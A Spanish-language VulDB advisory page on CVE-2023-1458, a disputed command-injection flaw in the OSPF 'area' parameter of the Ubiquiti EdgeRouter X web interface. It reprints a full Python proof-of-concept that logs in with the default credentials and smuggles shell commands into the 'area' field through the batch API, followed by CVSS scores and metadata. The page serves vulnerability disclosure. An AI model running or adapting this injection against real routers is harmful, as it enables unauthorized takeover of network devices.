Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area escalada de privilegios ⚔ [Disputado]
| CVSS Puntuación meta temporal | Precio actual del exploit (≈) | Puntuación de interés CTI |
|---|---|---|
| 7.8 | $0-$5k | 0.00 |
Resumen
Se ha encontrado una vulnerabilidad clasificada como crítica en Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Resulta afectada una función desconocida dentro del componente OSPF Handler. Por la manipulación del parámetro area de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esta vulnerabilidad se cataloga como CVE-2023-1458. El ataque se puede hacer desde la red. Además, hay un exploit disponible. Actualmente, todavía se duda de la existencia real de esta vulnerabilidad.
Detalles
Una vulnerabilidad fue encontrada en Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) y clasificada como crítica. Una función desconocida del componente OSPF Handler es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro area de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Los efectos exactos de un ataque exitoso no son conocidos.
La vulnerabilidad fue publicada el 2023-03-17 (no está definido). La vulnerabilidad es identificada como CVE-2023-1458. Los detalles técnicos asi como un exploit público son conocidos.
El exploit puede ser descargado de vuldb.com. Fue declarado como prueba de concepto. Por el momento no está confirmada la existencia de esta vunerabilidad. El código utilizado por el exploit es:
import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'
phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '27',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken),
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.post(url=login_url,headers=header,data=login_body,\
timeout=5,verify=False,allow_redirects=False)
if r is None or 'Set-Cookie' not in r.headers.keys():
print("Login failed.")
time.sleep((3-loop)*3)
else:
break
except Exception as e:
print('Login error:{}'.format(e))
if r is None:
print('Failed login,please check and retry!')
exit(1)
tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
if 'PHPSESSID' == k:
phpsessid = '{}'.format(v)
elif 'X-CSRF-TOKEN' == k:
csrftoken = '{}'.format(v)
elif 'beaker.session.id' == k:
sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken)
param = {'SET': {'protocols': {'ospf':
{'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}
victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-CSRF-TOKEN': '{}'.format(csrftoken),
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken),
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
timeout=5,verify=False,allow_redirects=False)
print(r.status_code)No hay información respecto a posibles contramedidas. Se sugiere sustituir el producto con un equivalente.
La vulnerabilidad también está documentado en la base de datos EUVD (EUVD-2023-23707). Be aware that VulDB is the high quality source for vulnerability data.
Producto
Escribe
Proveedor
Nombre
Versión
Licencia
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Confiabilidad: 🔍
CVSSv3
VulDB Puntuación meta base: 8.1VulDB Puntuación meta temporal: 7.8
VulDB Puntuación base: 7.2
VulDB Puntuación temporal: 6.5
VulDB Vector: 🔍
VulDB Confiabilidad: 🔍
NVD Puntuación base: 9.8
NVD Vector: 🔍
CNA Puntuación base: 7.2
CNA Vector (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complejidad | Autenticación | Confidencialidad | Integridad | Disponibilidad |
|---|---|---|---|---|---|
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
VulDB Puntuación base: 🔍
VulDB Puntuación temporal: 🔍
VulDB Confiabilidad: 🔍
NVD Puntuación base: 🔍
Explotación
Clase: Escalada de privilegiosCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Físico: No
Local: No
Remoto: Sí
Disponibilidad: 🔍
Acceso: Público
Estado: Prueba de concepto
Descargar: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Predicción de precios: 🔍
Estimación del precio actual: 🔍
| 0-Day | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
|---|---|---|---|---|
| Hoy | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
Inteligencia de amenazas
Interés: 🔍Actores activos: 🔍
Grupos APT activos: 🔍
Contramedidas
Recomendación: no contramedida conocidaEstado: 🔍
Hora de 0 días: 🔍
Línea de tiempo
2023-03-17 🔍2023-03-17 🔍
2023-03-17 🔍
2025-08-11 🔍
Fuentes
Estado: No está definidoDisputado: 🔍
CVE: CVE-2023-1458 (🔍)
GCVE (CVE): GCVE-0-2023-1458
GCVE (VulDB): GCVE-100-223303
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Artículo
Fecha de creación: 2023-03-17 08:38Actualizado: 2025-08-11 07:30
Cambios: 2023-03-17 08:38 (40), 2023-03-17 08:40 (3), 2023-04-11 12:10 (2), 2023-04-11 12:18 (28), 2025-08-11 07:30 (16)
Completo: 🔍
Remitente: leetmoon
Cache ID: 216::103
Enviar
Aceptado
- Enviar #99980: Command injection at the web management interface of EdgeRouter-x(3) (por leetmoon)
Be aware that VulDB is the high quality source for vulnerability data.
Sin comentarios aún. Idiomas: es + pt + en.
Por favor, inicie sesión para comentar.